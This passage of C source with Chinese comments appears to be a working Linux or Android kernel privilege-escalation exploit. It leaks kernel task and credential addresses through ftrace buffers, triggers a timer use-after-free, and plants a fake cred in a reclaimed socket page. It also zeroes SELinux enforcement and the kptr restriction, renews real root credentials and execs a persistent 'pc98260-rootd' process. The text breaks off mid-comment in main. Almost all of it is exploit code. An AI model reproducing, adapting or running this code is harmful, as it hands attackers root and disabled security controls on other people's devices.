	write_file(TRACE "/tracing_on", "0\n");
	for (int cpu = 0; cpu < ncpu; cpu++) {
		char path[128], line[768];
		FILE *file;
		snprintf(path, sizeof(path), TRACE "/per_cpu/cpu%d/trace", cpu);
		file = fopen(path, "r");
		if (!file)
			continue;
		/* 只扫尾部 1 MiB:等待/扫描期间事件都在最新部分,避免反复读满缓冲。 */
		if (!fseek(file, 0, SEEK_END)) {
			long size = ftell(file);
			long start = size > (1L << 20) ? size - (1L << 20) : 0;
			fseek(file, start, SEEK_SET);
		}
		while (fgets(line, sizeof(line), file)) {
			uint64_t pfn;
			pfn = parse_pfn(line);
			if (pfn == UINT64_MAX)
				continue;
			if (strstr(line, "mm_page_free:") && strstr(line, "order=1")) {
				if (pfn == base)
					victim_frees++;
				if (pfn == buddy)
					buddy_frees++;
			}
			if (!strstr(line, "mm_page_alloc:") || !strstr(line, "order=2"))
				continue;
			order2++;
			if (base == pfn || base == pfn + 2) {
				hit = 1;
				dprintf(STDOUT_FILENO, "[dgram] hit %s", line);
			}
		}
		fclose(file);
	}
	dprintf(STDOUT_FILENO,
		"[dgram] sent=%d hit=%d order2=%d victim_frees=%d buddy_frees=%d buddy=%#" PRIx64 "\n",
		sent, hit, order2, victim_frees, buddy_frees, buddy);
	quiet_reclaim_trace();
	munmap(buf, 16384);
	return hit ? 0 : -1;
}

static int one_uaf(uint64_t target)
{
	pid_t child;
	int code, status = 0;
	uint64_t ptrs[64];
	int nptr, ntext;
	uint64_t victim;
	atomic_store_explicit(&g_go, 0, memory_order_relaxed);
	atomic_store_explicit(&g_stop, 0, memory_order_relaxed);
	atomic_store_explicit(&g_lockers, 0, memory_order_relaxed);
	atomic_store_explicit(&g_exec_tid, 0, memory_order_relaxed);
	atomic_store_explicit(&ipc->phase, 0, memory_order_relaxed);
	atomic_store_explicit(&ipc->helpers_stop, 0, memory_order_relaxed);
	ipc->nhelpers = 0;
	child = fork();
	if (child < 0)
		return -1;
	if (child == 0) {
		if (g_wake[0] >= 0)
			close(g_wake[0]);
		if (g_wake[1] >= 0)
			close(g_wake[1]);
		if (g_report[0] >= 0)
			close(g_report[0]);
		if (g_report[1] >= 0)
			close(g_report[1]);
		child_race();
	}
	if (wait_phase(1)) {
		dprintf(STDOUT_FILENO, "[uaf] child never readied phase=%d\n",
			atomic_load_explicit(&ipc->phase, memory_order_acquire));
		kill(child, SIGKILL);
		stop_helpers();
		waitpid(child, NULL, 0);
		return -1;
	}
	if (write_file(TRACE "/buffer_size_kb", "16384\n") ||
	    trigger_cmd("enable_event:kmem:kmem_cache_alloc\n") || kick_rss() ||
	    trace_off_on()) {
		kill(child, SIGKILL);
		stop_helpers();
		return -1;
	}
	atomic_store_explicit(&ipc->phase, 2, memory_order_release);
	if (wait_phase(3)) {
		dprintf(STDOUT_FILENO, "[uaf] timer was not created\n");
		write_file(TRACE "/tracing_on", "0\n");
		kill(child, SIGKILL);
		stop_helpers();
		waitpid(child, NULL, 0);
		return -1;
	}
	write_file(TRACE "/tracing_on", "0\n");
	if (collect_nth(1024, &nptr, &victim)) {
		kill(child, SIGKILL);
		stop_helpers();
		waitpid(child, NULL, 0);
		return -1;
	}
	if (nptr < 1500) {
		dprintf(STDOUT_FILENO, "[uaf] too few timers\n");
		kill(child, SIGKILL);
		stop_helpers();
		waitpid(child, NULL, 0);
		return -1;
	}
	if (trigger_cmd("disable_event:kmem:kmem_cache_alloc\n"))
		return -1;
	kick_rss();
	trigger_cmd("!disable_event:kmem:kmem_cache_alloc\n");
	trigger_cmd("!enable_event:kmem:kmem_cache_alloc\n");
	atomic_store_explicit(&ipc->phase, 4, memory_order_release);
	if (g_plant_cred)
		g_cred_kva = victim + KITIMER_NODE;
	if (reclaim_stream(victim, target)) {
		dprintf(STDOUT_FILENO, "[uaf] page miss, retry\n");
		stop_helpers();
		return -1;
	}
	close_socks();
	/* helper 会读取 g_stop 自行退出。不要 SIGKILL,否则可能打断
	 * 正在执行的 mprotect 临界区,也会带来 PID 复用误杀风险。
	 */
	dprintf(STDOUT_FILENO, "[uaf] quiesce helpers\n");
	atomic_store_explicit(&g_stop, 1, memory_order_release);
	{
		struct timespec pause = { .tv_nsec = 300000000 };
		nanosleep(&pause, NULL);
	}
	code = wait_zombie(child, &status);
	dprintf(STDOUT_FILENO, "[uaf] child=%d code=%d status=%d\n",
		child, code, status);
	if (waitpid(child, &status, 0) < 0)
		return -1;
	dprintf(STDOUT_FILENO, "[uaf] reaped status=%d\n", status);
	if (g_s1_mode && WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL)
		s1_early();
	/* child 已死,3 个 locker 的父进程变成 init;killer 已置 g_stop,
	 * 这里再兜底 SIGKILL 并等它们消失,确保不残留 10GB VMA 进程。 */
	stop_helpers();
	dprintf(STDOUT_FILENO, "[uaf] helpers gone\n");
	/* ★注意顺序:fake cred 是在上面 waitpid() 回收 victim 时,由
	 * release_task()→posix_cpu_timers_exit() 的 rb_erase 写进 holder 的
	 * task->cred 的。必须等 reap 完成后再唤醒 holder,否则它看到的
	 * 还是 uid=2000,会白跑一次续期。
	 *
	 * fake 页实际由 g_stream 的 socket 引用,主进程不退出就不会释放;
	 * 因此这里唤醒 holder 后,要求它续期成功后立刻退出,
	 * 主进程 waitpid 确认 holder 已死后才返回。 */
	if (g_plant_cred && g_cred_child_pid > 0 &&
	    g_wake[1] >= 0 && g_report[0] >= 0) {
		unsigned char go = 1;
		char rbuf[192];
		int answered = 0;
		if (write(g_wake[1], &go, 1) != 1) {
			dprintf(STDOUT_FILENO, "[cred] wake errno=%d\n", errno);
		} else {
			struct pollfd pfd = { .fd = g_report[0], .events = POLLIN };
			if (poll(&pfd, 1, 5000) > 0) {
				ssize_t rn = read(g_report[0], rbuf,
						  sizeof(rbuf) - 1);
				if (rn > 0) {
					rbuf[rn] = 0;
					answered = 1;
					dprintf(STDOUT_FILENO,
						"[cred] renew: %s", rbuf);
					if (strstr(rbuf, "real=1") &&
					    strstr(rbuf, "exit=1")) {
						int hstatus = 0;
						if (waitpid(g_cred_child_pid,
							    &hstatus, 0) ==
						    g_cred_child_pid) {
							dprintf(STDOUT_FILENO,
								"[cred] holder %d exited status=%d\n",
								g_cred_child_pid,
								hstatus);
							g_cred_child_pid = -1;
							g_holder_exited = 1;
						}
					}
				}
			}
			if (!answered)
				dprintf(STDOUT_FILENO,
					"[cred] holder silent; keep it\n");
		}
	}
	dprintf(STDOUT_FILENO, "[uaf] cleanup begin\n");
	destroy_rings();
	dprintf(STDOUT_FILENO, "[uaf] cleanup done\n");
	if (!WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) {
		dprintf(STDOUT_FILENO, "[uaf] reap was not SIGKILL\n");
		return -1;
	}
	return 0;
}

/* 用当前 fake cred 作为模板执行一次 capset:prepare_creds()/commit_creds()
 * 会分配并安装 cred_jar 中的真实凭据。fake usage=3,commit 时减 1 后仍非零,
 * 不会把 socket 页误交给 __put_cred() 释放。
 */
static int renew_real_cred(void)
{
	struct __user_cap_header_struct header = {
		.version = _LINUX_CAPABILITY_VERSION_3,
		.pid = 0,
	};
	struct __user_cap_data_struct verify[_LINUX_CAPABILITY_U32S_3] = { 0 };
	gid_t groups[1] = { 0 };
	gid_t observed[1] = { 0 };
	uint64_t got;

	/* setgroups 同样调用 prepare_creds()/commit_creds(),但不经过
	 * security_capset(),避免 fake LSM blob 在 capset 权限检查中卡死。
	 */
	dprintf(STDOUT_FILENO, "[cred] REAL_SETGROUPS_BEGIN\n");
	/* setgroups() 的 prepare_creds/commit_creds 路径在本内核上会触发
	 * prepare_creds 内的 page fault;改用 setresuid 走同样的
	 * prepare_creds()/commit_creds(),但避开 setgroups 的
	 * security_task_fix_setgroups + group_info 处理。 */
	if (setgroups(1, groups) && 0) {
		/* 保留原路径做对照(不执行) */
	}
	if (syscall(SYS_setresuid, (uid_t)0, (uid_t)0, (uid_t)0)) {
		dprintf(STDOUT_FILENO,
			"[cred] real setresuid failed errno=%d (%s)\n",
			errno, strerror(errno));
		/* 回退:再试 setgroups */
		if (setgroups(1, groups)) {
			dprintf(STDOUT_FILENO,
				"[cred] real setgroups failed errno=%d (%s)\n",
				errno, strerror(errno));
			return -1;
		}
	}
	dprintf(STDOUT_FILENO, "[cred] REAL_SETGROUPS_RETURNED rc=0\n");
	if (getgroups(1, observed) != 1 || observed[0] != 0) {
		dprintf(STDOUT_FILENO,
			"[cred] real group verify failed errno=%d (%s)\n",
			errno, strerror(errno));
		return -1;
	}
	if (syscall(SYS_capget, &header, verify)) {
		dprintf(STDOUT_FILENO,
			"[cred] real capget failed errno=%d (%s)\n",
			errno, strerror(errno));
		return -1;
	}
	got = (uint64_t)verify[0].effective |
	      ((uint64_t)verify[1].effective << 32);
	/* ksu 域(KernelSU 的 su)下高位 CAP_BPF/CAP_PERFMON 等会被裁剪,
	 * capget 只给出低 32 位全 1(0xffffffff);低 32 位已包含
	 * CAP_SYS_ADMIN/CAP_DAC_OVERRIDE 等 rootd 所需能力,故放宽为
	 * "低 32 位必须全 1",高位的缺失只影响 BPF 之类专用能力。 */
	if (getuid() != 0 || geteuid() != 0 || getgid() != 0 ||
	    getegid() != 0 || (got & UINT64_C(0xffffffff)) != UINT64_C(0xffffffff)) {
		dprintf(STDOUT_FILENO,
			"[cred] real renewal verify failed uid=%u euid=%u "
			"gid=%u egid=%u cap=%#" PRIx64 "\n",
			getuid(), geteuid(), getgid(), getegid(), got);
		return -1;
	}
	dprintf(STDOUT_FILENO,
		"[cred] REAL_CRED_ACTIVE uid=0 gid=0 cap=%#" PRIx64 "\n",
		got);
	return 0;
}
static void cred_child(void)
{
	sigset_t block;
	setpgid(0, 0);
	sigfillset(&block);
	sigprocmask(SIG_BLOCK, &block, NULL);
	if (g_wake[1] >= 0)
		close(g_wake[1]);
	if (g_report[0] >= 0)
		close(g_report[0]);
	g_wake[1] = g_report[0] = -1;
	dprintf(STDOUT_FILENO, "[child-cred] waiting pid=%d\n", getpid());
	for (;;) {
		unsigned uid, euid, gid, egid;
		unsigned char go;
		char msg[160];
		if (read(g_wake[0], &go, 1) != 1)
			_exit(0);
		dprintf(STDOUT_FILENO, "[child-cred] woke\n");
		uid = getuid();
		euid = geteuid();
		gid = getgid();
		egid = getegid();
		if (uid == 0 && euid == 0 && gid == 0 && egid == 0) {
			/* ★holder 的 task->cred 已经是 socket 页里的 fake cred,
			 * 但 task->real_cred 还是 fork 时继承的真 cred。
			 * commit_creds() 会 BUG_ON(task->cred != task->real_cred),
			 * 所以 holder 自己不能 setresuid/setgroups。
			 *
			 * 这里 fork 孙子进程:copy_creds() 给它的 cred 和
			 * real_cred 都是 fake 的副本,续期(setresuid→
			 * prepare_creds/commit_creds)可以正常通过。
			 *
			 * ★续期成功后孙子 exec 成独立进程(argv[0]=
			 * pc98260-rootd):exec 会重建 mm 和 cmdline,
			 * 彻底丢掉 plant 继承的大 VMA、fake 页引用和
			 * xring_plant 这个名字,只保留真 cred。
			 *
			 * ★孙子确认续期成功后,holder 必须马上退出:
			 * one_uaf 会等到 holder 退出才让主进程收尾,此时
			 * fake 页仍被 socket 引用、usage=2,put_cred 只减到 1,
			 * 不会把 socket 页当 cred_jar 对象释放;若 holder 活到
			 * 主进程退出之后,fake 页已释放,再退出就是 cred.c BUG。 */
			int rr[2] = { -1, -1 };
			char ok = 0;
			pid_t g = -1;
			if (pipe(rr) == 0)
				g = fork();
			if (g == 0) {
				char *const argv[] = {
					(char *)"pc98260-rootd",
					(char *)"--rootd",
					NULL
				};
				close(rr[0]);
				if (renew_real_cred() == 0) {
					char one = 1;
					/* 先通知 holder:真 cred 已生效。
					 * holder 随即向主进程汇报并退出。 */
					(void)write(rr[1], &one, 1);
					for (int fd = 3; fd < 1024; fd++)
						close(fd);
					/* exec 自身进入 --rootd 分支:
					 * 新 mm、新 cmdline(pc98260-rootd),
					 * cred 仍是刚续期出来的真 cred。 */
					execve("/proc/self/exe", argv, NULL);
					dprintf(STDOUT_FILENO,
						"[child-cred] exec rootd failed errno=%d\n",
						errno);
				}
				_exit(0);
			}
			if (g > 0) {
				struct pollfd pfd = { .fd = rr[0], .events = POLLIN };
				close(rr[1]);
				if (poll(&pfd, 1, 5000) > 0)
					(void)read(rr[0], &ok, 1);
				close(rr[0]);
			}
			if (g < 0)
				dprintf(STDOUT_FILENO,
					"[child-cred] pipe/fork failed errno=%d\n", errno);
			if (g > 0 && ok == 1) {
				snprintf(msg, sizeof(msg),
					 "uid=0 euid=0 gid=0 egid=0 real=1 exit=1\n");
				if (write(g_report[1], msg, strlen(msg)) < 0) {
					/* 主进程已经不在:fake 页可能已释放,
					 * 这里退出有 cred.c BUG 风险,保持常驻。 */
					dprintf(STDOUT_FILENO,
						"[child-cred] report failed; hold\n");
					for (;;)
						pause();
				}
				dprintf(STDOUT_FILENO,
					"[child-cred] rootd up; holder exiting\n");
				_exit(0);
			}
			dprintf(STDOUT_FILENO,
				"[child-cred] renewal failed; keep holder\n");
		}
		snprintf(msg, sizeof(msg),
			 "uid=%u euid=%u gid=%u egid=%u real=0 exit=0\n",
			 uid, euid, gid, egid);
		if (write(g_report[1], msg, strlen(msg)) < 0)
			dprintf(STDOUT_FILENO, "[child-cred] answer errno=%d\n", errno);
		dprintf(STDOUT_FILENO, "[child-cred] %s", msg);
	}
}

static void log_proc_uid(pid_t pid)
{
	char path[64];
	char line[160];
	FILE *file;
	snprintf(path, sizeof(path), "/proc/%d/status", (int)pid);
	file = fopen(path, "r");
	if (!file)
		return;
	while (fgets(line, sizeof(line), file)) {
		if (!strncmp(line, "Uid:", 4) || !strncmp(line, "CapEff:", 7) ||
		    !strncmp(line, "State:", 6))
			dprintf(STDOUT_FILENO, "[cred] proc %s", line);
	}
	fclose(file);
}

static int ask_child(unsigned *uid, unsigned *euid, unsigned *gid,
		     unsigned *egid, int *real_cred)
{
	char buf[160];
	struct pollfd pfd;
	unsigned char go = 1;
	ssize_t n;
	dprintf(STDOUT_FILENO, "[cred] ask child %d\n", g_cred_child_pid);
	if (kill(g_cred_child_pid, 0) != 0) {
		dprintf(STDOUT_FILENO, "[cred] child %d is dead errno=%d\n",
			g_cred_child_pid, errno);
		log_proc_uid(g_cred_child_pid);
		return -1;
	}
	fcntl(g_report[0], F_SETFL, O_NONBLOCK);
	while (read(g_report[0], buf, sizeof(buf)) > 0)
		;
	fcntl(g_report[0], F_SETFL, 0);
	if (write(g_wake[1], &go, 1) != 1) {
		dprintf(STDOUT_FILENO, "[cred] ask write errno=%d\n", errno);
		return -1;
	}
	pfd.fd = g_report[0];
	pfd.events = POLLIN;
	if (poll(&pfd, 1, 2000) <= 0) {
		dprintf(STDOUT_FILENO, "[cred] child %d stayed silent\n",
			g_cred_child_pid);
		log_proc_uid(g_cred_child_pid);
		return -1;
	}
	n = read(g_report[0], buf, sizeof(buf) - 1);
	if (n < 0) {
		dprintf(STDOUT_FILENO, "[cred] answer read errno=%d\n", errno);
		return -1;
	}
	buf[n > 0 ? n : 0] = 0;
	dprintf(STDOUT_FILENO, "[cred] answer %s", buf);
	if (sscanf(buf, "uid=%u euid=%u gid=%u egid=%u real=%d",
		   uid, euid, gid, egid, real_cred) == 5)
		return 0;
	return -1;
}

static int leak_task(void)
{
	uint8_t *buf;
	int hits = 0, candidates = 0;
	pid_t self = getpid();
	if (pipe(g_wake) || pipe(g_report))
		return -1;
	if (trigger_cmd("enable_event:kmem:kmem_cache_alloc\n") || kick_rss() ||
	    trace_off_on())
		return -1;
	g_cred_child_pid = fork();
	if (g_cred_child_pid == 0)
		cred_child();
	if (g_cred_child_pid < 0)
		return -1;
	close(g_wake[0]);
	close(g_report[1]);
	g_wake[0] = g_report[1] = -1;
	write_file(TRACE "/tracing_on", "0\n");
	buf = malloc(4U << 20);
	if (!buf)
		return -1;
	for (int cpu = 0; cpu < cpu_count(); cpu++) {
		char path[128];
		size_t used = 0;
		int fd;
		snprintf(path, sizeof(path), TRACE "/per_cpu/cpu%d/trace_pipe_raw", cpu);
		fd = open(path, O_RDONLY | O_NONBLOCK | O_CLOEXEC);
		if (fd < 0)
			continue;
		for (;;) {
			ssize_t n = read(fd, buf + used, (4U << 20) - used);
			if (n <= 0)
				break;
			used += (size_t)n;
			if (used + 65536 >= (4U << 20))
				break;
		}
		close(fd);
		for (size_t i = 0; i + 40 <= used; i++) {
			uint64_t site, ptr, req16, req24;
			int rec_pid = 0;
			memcpy(&site, buf + i, 8);
			if (site != slide_addr(TASK_LINK))
				continue;
			memcpy(&ptr, buf + i + 8, 8);
			memcpy(&req16, buf + i + 16, 8);
			memcpy(&req24, buf + i + 24, 8);
			if (i >= 4)
				memcpy(&rec_pid, buf + i - 4, 4);
			if (candidates < 8)
				dprintf(STDOUT_FILENO,
					"[task] candidate cpu=%d pid=%d ptr=%#" PRIx64
					" req16=%#" PRIx64 " req24=%#" PRIx64 "\n",
					cpu, rec_pid, ptr, req16, req24);
			if (candidates == 0 && i >= 8) {
				dprintf(STDOUT_FILENO, "[task] raw:");
				for (int k = -8; k < 56; k += 8) {
					uint64_t v;
					memcpy(&v, buf + i + k, 8);
					dprintf(STDOUT_FILENO, " %#" PRIx64, v);
				}
				dprintf(STDOUT_FILENO, "\n");
			}
			candidates++;
			if (rec_pid != (int)self)
				continue;
			if (req16 != TASK_BYTES && req24 != TASK_BYTES &&
			    req16 != TASK_ALLOC && req24 != TASK_ALLOC)
				continue;
			if ((ptr >> 48) != 0xffff || (ptr & 7))
				continue;
			g_task = ptr;
			hits++;
			dprintf(STDOUT_FILENO,
				"[task] cpu=%d site=%#" PRIx64 " ptr=%#" PRIx64
				" req16=%#" PRIx64 " req24=%#" PRIx64 "\n",
				cpu, site, ptr, req16, req24);
		}
	}
	free(buf);
	dprintf(STDOUT_FILENO, "[task] self=%d candidates=%d hits=%d\n",
		(int)self, candidates, hits);
	trigger_cmd("disable_event:kmem:kmem_cache_alloc\n");
	kick_rss();
	trigger_cmd("!disable_event:kmem:kmem_cache_alloc\n");
	trigger_cmd("!enable_event:kmem:kmem_cache_alloc\n");
	write_file(TRACE "/tracing_on", "0\n");
	return hits ? 0 : -1;
}

static int leak_cred(uint64_t *cred)
{
	uint64_t ptrs[8];
	int n;
	if (trigger_cmd("enable_event:kmem:kmem_cache_alloc\n") || kick_rss())
		return -1;
	if (trace_off_on())
		return -1;
	if (syscall(SYS_setresuid, -1, -1, -1))
		dprintf(STDOUT_FILENO, "[cred] setresuid errno=%d\n", errno);
	write_file(TRACE "/tracing_on", "0\n");
	n = collect_site(slide_addr(CRED_LINK), (uint64_t)xr_profile()->cred_bytes, ptrs, 8);
	dprintf(STDOUT_FILENO, "[cred] ptrs=%d\n", n);
	trigger_cmd("disable_event:kmem:kmem_cache_alloc\n");
	kick_rss();
	trigger_cmd("!disable_event:kmem:kmem_cache_alloc\n");
	trigger_cmd("!enable_event:kmem:kmem_cache_alloc\n");
	if (n < 1)
		return -1;
	*cred = ptrs[n - 1];
	dprintf(STDOUT_FILENO, "[cred] object=%#" PRIx64 "\n", *cred);
	return 0;
}

static void read_enforce(void)
{
	char buf[8] = { 0 };
	int fd = open("/sys/fs/selinux/enforce", O_RDONLY | O_CLOEXEC);
	if (fd < 0) {
		dprintf(STDOUT_FILENO, "[selinux] enforce read errno=%d\n", errno);
		return;
	}
	if (read(fd, buf, sizeof(buf) - 1) > 0)
		dprintf(STDOUT_FILENO, "[selinux] enforce=%s", buf);
	close(fd);
}

int pc98260_run_rootd(void);

static int read_enforce_val(void)
{
	char buf[8] = { 0 };
	int fd = open("/sys/fs/selinux/enforce", O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		return -1;
	if (read(fd, buf, 1) != 1)
		buf[0] = 0;
	close(fd);
	return buf[0] == '0' ? 0 : 1;
}

static int zero_selinux(void)
{
	uint64_t sel = slide_addr(SELINUX_LINK) - 7;
	for (int i = 1; i <= 4; i++) {
		if (read_enforce_val() == 0) {
			dprintf(STDOUT_FILENO, "[selinux] already permissive\n");
			return 0;
		}
		dprintf(STDOUT_FILENO, "[selinux] attempt %d/4 target=%#" PRIx64 "\n",
			i, sel);
		if (one_uaf(sel))
			dprintf(STDOUT_FILENO, "[selinux] one_uaf failed\n");
	}
	return read_enforce_val() == 0 ? 0 : -1;
}

static int kallsyms_real_text(void)
{
	char buf[1 << 16];
	char *p;
	int fd, n;
	fd = open("/proc/kallsyms", O_RDONLY | O_CLOEXEC);
	if (fd < 0) {
		dprintf(STDOUT_FILENO, "[kptr] kallsyms errno=%d\n", errno);
		return -1;
	}
	n = read(fd, buf, sizeof(buf) - 1);
	close(fd);
	if (n <= 0) {
		dprintf(STDOUT_FILENO, "[kptr] kallsyms read=%d errno=%d\n", n, errno);
		return -1;
	}
	buf[n] = 0;
	p = strchr(buf, '\n');
	if (p) {
		*p = 0;
		dprintf(STDOUT_FILENO, "[kptr] first: %s\n", buf);
		*p = '\n';
	}
	p = buf;
	while ((p = strstr(p, " T "))) {
		char *bol = p;
		while (bol > buf && bol[-1] != '\n')
			bol--;
		if (strncmp(bol, "0000000000000000", 16)) {
			char save = *p;
			*p = 0;
			dprintf(STDOUT_FILENO, "[kptr] text: %s\n", bol);
			*p = save;
			return 0;
		}
		p++;
	}
	dprintf(STDOUT_FILENO, "[kptr] no real text symbol in %d bytes\n", n);
	return -1;
}

static int test_kptr(void)
{
	g_plant_cred = 0;
	dprintf(STDOUT_FILENO, "[kptr] zero target=%#" PRIx64 "\n",
		slide_addr(KPTR_LINK));
	for (int i = 1; i <= 4; i++) {
		if (kallsyms_real_text() == 0) {
			dprintf(STDOUT_FILENO, "[kptr] ok\n");
			return 0;
		}
		dprintf(STDOUT_FILENO, "[kptr] attempt %d/4\n", i);
		if (one_uaf(slide_addr(KPTR_LINK)))
			dprintf(STDOUT_FILENO, "[kptr] one_uaf miss\n");
	}
	return kallsyms_real_text() == 0 ? 0 : -1;
}

int main(int argc, char **argv)
{
	struct sigaction action = { .sa_handler = on_alarm };
	int task_only = 0, selinux_only = 0, kptr_test = 0, write_comm = 0, zero_mode = 0;
	uint64_t persist_ctl = 0;
	if (argc > 1 && !strcmp(argv[1], "--exec-ok"))
		_exit(0);
	/* ★rootd 入口:孙子进程续期成功后 exec 自身进来。
	 * 此时 mm 已重建、cmdline 已是 pc98260-rootd,cred 是真 cred。
	 * comm 也改成同名,保证 ps -o COMM / /proc/pid/comm 一致。 */
	if (argc > 1 && !strcmp(argv[1], "--rootd")) {
		prctl(PR_SET_NAME, "pc98260-rootd", 0, 0, 0);
		return pc98260_run_rootd();
	}
	for (int i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "--slide") && i + 1 < argc)
			g_slide = strtoull(argv[++i], NULL, 0);
		else if (!strcmp(argv[i], "--task-only"))
			task_only = 1;
		else if (!strcmp(argv[i], "--selinux-only"))
			selinux_only = 1;
		else if (!strcmp(argv[i], "--zero") && i + 1 < argc) {
			g_zero_addr = strtoull(argv[++i], NULL, 0);
			zero_mode = 1;
		}
		else if (!strcmp(argv[i], "--stage1"))
			g_s1_mode = 1;
		else if (!strcmp(argv[i], "--s1probe"))
			g_s1_probe = 1;
		else if (!strcmp(argv[i], "--stage0") && i + 1 < argc) {
			g_stage0_ctl = strtoull(argv[++i], NULL, 0);
		}
		else if (!strcmp(argv[i], "--persist-ptr") && i + 1 < argc) {
			g_persist_ptr_ctl = strtoull(argv[++i], NULL, 0);
		}
		else if (!strcmp(argv[i], "--persist-write") && i + 2 < argc) {
			g_persist_parent = strtoull(argv[++i], NULL, 0);
			g_persist_child = strtoull(argv[++i], NULL, 0);
			g_persist_mode = 1;
		}
		else if (!strcmp(argv[i], "--persist-prep") && i + 1 < argc) {
			persist_ctl = strtoull(argv[++i], NULL, 0);
		}
		else if (!strcmp(argv[i], "--write-comm") && i + 1 < argc) {
			g_write_value = strtoull(argv[++i], NULL, 0);
			write_comm = 1;
		}
		else if (!strcmp(argv[i], "--kptr-test"))
			kptr_test = 1;
		else if (!strcmp(argv[i], "--selinux-sid") && i + 1 < argc)
			g_selinux_sid = (uint32_t)strtoul(argv[++i], NULL, 0);
	}
	if (g_slide < UINT64_C(0x0f8fe00000) || g_slide >= UINT64_C(0x2eafa00000)) {
		dprintf(STDOUT_FILENO, "usage: %s --slide 0x... [--task-only|"
			"--selinux-only|--kptr-test] [--selinux-sid 0x646]\n", argv[0]);
		return 2;
	}
	dprintf(STDOUT_FILENO, "[slide] %#" PRIx64 "\n", g_slide);
	sigaction(SIGALRM, &action, NULL);
	/* holder 退出后,主进程再往 wake 管道写会 EPIPE;忽略 SIGPIPE,
	 * 让 write 返回错误即可,不能因此把 plant 打死。 */
	signal(SIGPIPE, SIG_IGN);
	ipc = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
		   MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	if (ipc == MAP_FAILED)
		return 1;
	memset(ipc, 0, sizeof(*ipc));
	if (pin_cpu(0))
		return 1;
	dprintf(STDOUT_FILENO, "[id] uid=%u euid=%u gid=%u\n",
		getuid(), geteuid(), getgid());
	read_enforce();
	g_nrings = 0;
	if (write_file(TRACE "/buffer_size_kb", "16384\n")) {
		disarm();
		return 1;
	}
	if (task_only) {
		int rc = leak_task();
		if (rc) {
			dprintf(STDOUT_FILENO, "[task] leak failed\n");
			disarm();
			return 5;
		}
		dprintf(STDOUT_FILENO, "[task] ok task=%#" PRIx64 "\n", g_task);
		if (g_cred_child_pid > 0) {
			kill(g_cred_child_pid, SIGKILL);
			waitpid(g_cred_child_pid, NULL, 0);
		}
		disarm();
		return 0;
	}
	if (selinux_only) {
		int rc = zero_selinux();
		read_enforce();
		disarm();
		return rc ? 6 : 0;
	}
	if (g_stage0_ctl) {
		int rc = one_uaf(g_stage0_ctl);
		dprintf(STDOUT_FILENO, "[stage0] ctl=%#" PRIx64 " child(X)=%#" PRIx64 " rc=%d\n",
			g_stage0_ctl, INIT_TASK_SIGMASK + g_slide, rc);
		dprintf(STDOUT_FILENO, "[stage0] now write /proc/sys/net/ipv4/tcp_mem (e.g. 0 0 0)\n");
		sleep(300);
		disarm();
		return 0;
	}
	if (g_persist_ptr_ctl) {
		uint64_t *ringp;
		int rc = one_uaf(g_persist_ptr_ctl);
		if (ipc) { g_fake_ring_user = ipc->ring_user; g_fake_page_va = ipc->fake_page_va; }
		ringp = (uint64_t *)g_fake_ring_user;
		dprintf(STDOUT_FILENO, "[persist-ptr] rc=%d ring_user=%#" PRIx64 " fake_page=%#" PRIx64 "\n",
			rc, g_fake_ring_user, g_fake_page_va);
		for (int i = 0; i < 140; i++) {
			unsigned char buf[64];
			ssize_t n;
			if (i % 5 == 0 && g_stream[0][1] >= 0) {
				n = recv(g_stream[0][1], buf, sizeof(buf), MSG_DONTWAIT);
				if (n > 0) {
					dprintf(STDOUT_FILENO, "[recv] n=%zd", n);
					for (ssize_t k = 0; k < n && k < 32; k++)
						dprintf(STDOUT_FILENO, " %02x", buf[k]);
					dprintf(STDOUT_FILENO, "\n");
				}
			}
			sleep(2);
		}
		disarm();
		return 0;
	}
	if (zero_mode) {
		int rc = one_uaf(g_zero_addr);
		dprintf(STDOUT_FILENO, "[zero] addr=%#" PRIx64 " rc=%d\n", g_zero_addr, rc);
		disarm();
		return 0;
	}
	if (g_persist_mode) {
		int rc = one_uaf(g_persist_parent);
		dprintf(STDOUT_FILENO, "[persist-write] parent=%#" PRIx64 " child=%#" PRIx64
			" rc=%d\n", g_persist_parent, g_persist_child, rc);
		disarm();
		return 0;
	}
	if (persist_ctl) {
		uint64_t target;
		if (leak_task()) { dprintf(STDOUT_FILENO, "[persist] leak failed\n"); disarm(); return 9; }
		target = g_task + 0x918;   /* comm */
		dprintf(STDOUT_FILENO, "[persist] pid=%d task=%#" PRIx64
			" comm=%#" PRIx64 " ctl_data=%#" PRIx64 "\n",
			getpid(), g_task, target, persist_ctl);
		g_write_value = target;    /* 把 ctl_table.data 改成 comm 地址 */
		if (one_uaf(persist_ctl)) {
			dprintf(STDOUT_FILENO, "[persist] write data ptr failed\n");
			disarm();
			return 9;
		}
		dprintf(STDOUT_FILENO, "[persist] ctl data now points at comm; sleeping 300s\n");
		sleep(300);
		disarm();
		return 0;
	}
	if (write_comm) {
		char name[16] = { 0 };
		int rc = leak_task();
		if (rc) { dprintf(STDOUT_FILENO, "[wc] leak failed\n"); disarm(); return 8; }
		dprintf(STDOUT_FILENO, "[wc] task=%#" PRIx64 " target=%#" PRIx64
			" value=%#" PRIx64 "\n", g_task, g_task + 0x918, g_write_value);
		rc = one_uaf(g_task + 0x918);
		prctl(PR_GET_NAME, name, 0, 0, 0);
		dprintf(STDOUT_FILENO, "[wc] rc=%d comm='%s'\n", rc, name);
		disarm();
		return 0;
	}
	if (kptr_test) {
		int rc = test_kptr();
		disarm();
		return rc ? 7 : 0;
	}
	if (leak_task()) {
		dprintf(STDOUT_FILENO, "[task] leak failed\n");
		disarm();
		return 5;
	}
	dprintf(STDOUT_FILENO, "[task] ok task=%#" PRIx64 "\n", g_task);
	if (zero_selinux()) {
		dprintf(STDOUT_FILENO, "[selinux] still enforcing, abort\n");
		disarm();
		return 6;
	}
	read_enforce();
	g_plant_cred = 1;
	int rooted = 0;
	for (int attempt = 1; attempt <= 12 && !rooted; attempt++) {
		unsigned uid = 1, euid = 1, gid = 1, egid = 1;
		int real_cred = 0;
		dprintf(STDOUT_FILENO, "[cred] plant attempt %d/12\n", attempt);
		g_plant_cred = 1;
		if (one_uaf(0)) {
			if (g_holder_exited) {
				rooted = 1;
				break;
			}
			continue;
		}
		g_plant_cred = 0;
		dprintf(STDOUT_FILENO, "[cred] installed at %#" PRIx64 "\n",
			g_cred_kva + 24);
		if (g_holder_exited) {
			/* holder 已在 one_uaf 的续期握手里退出:
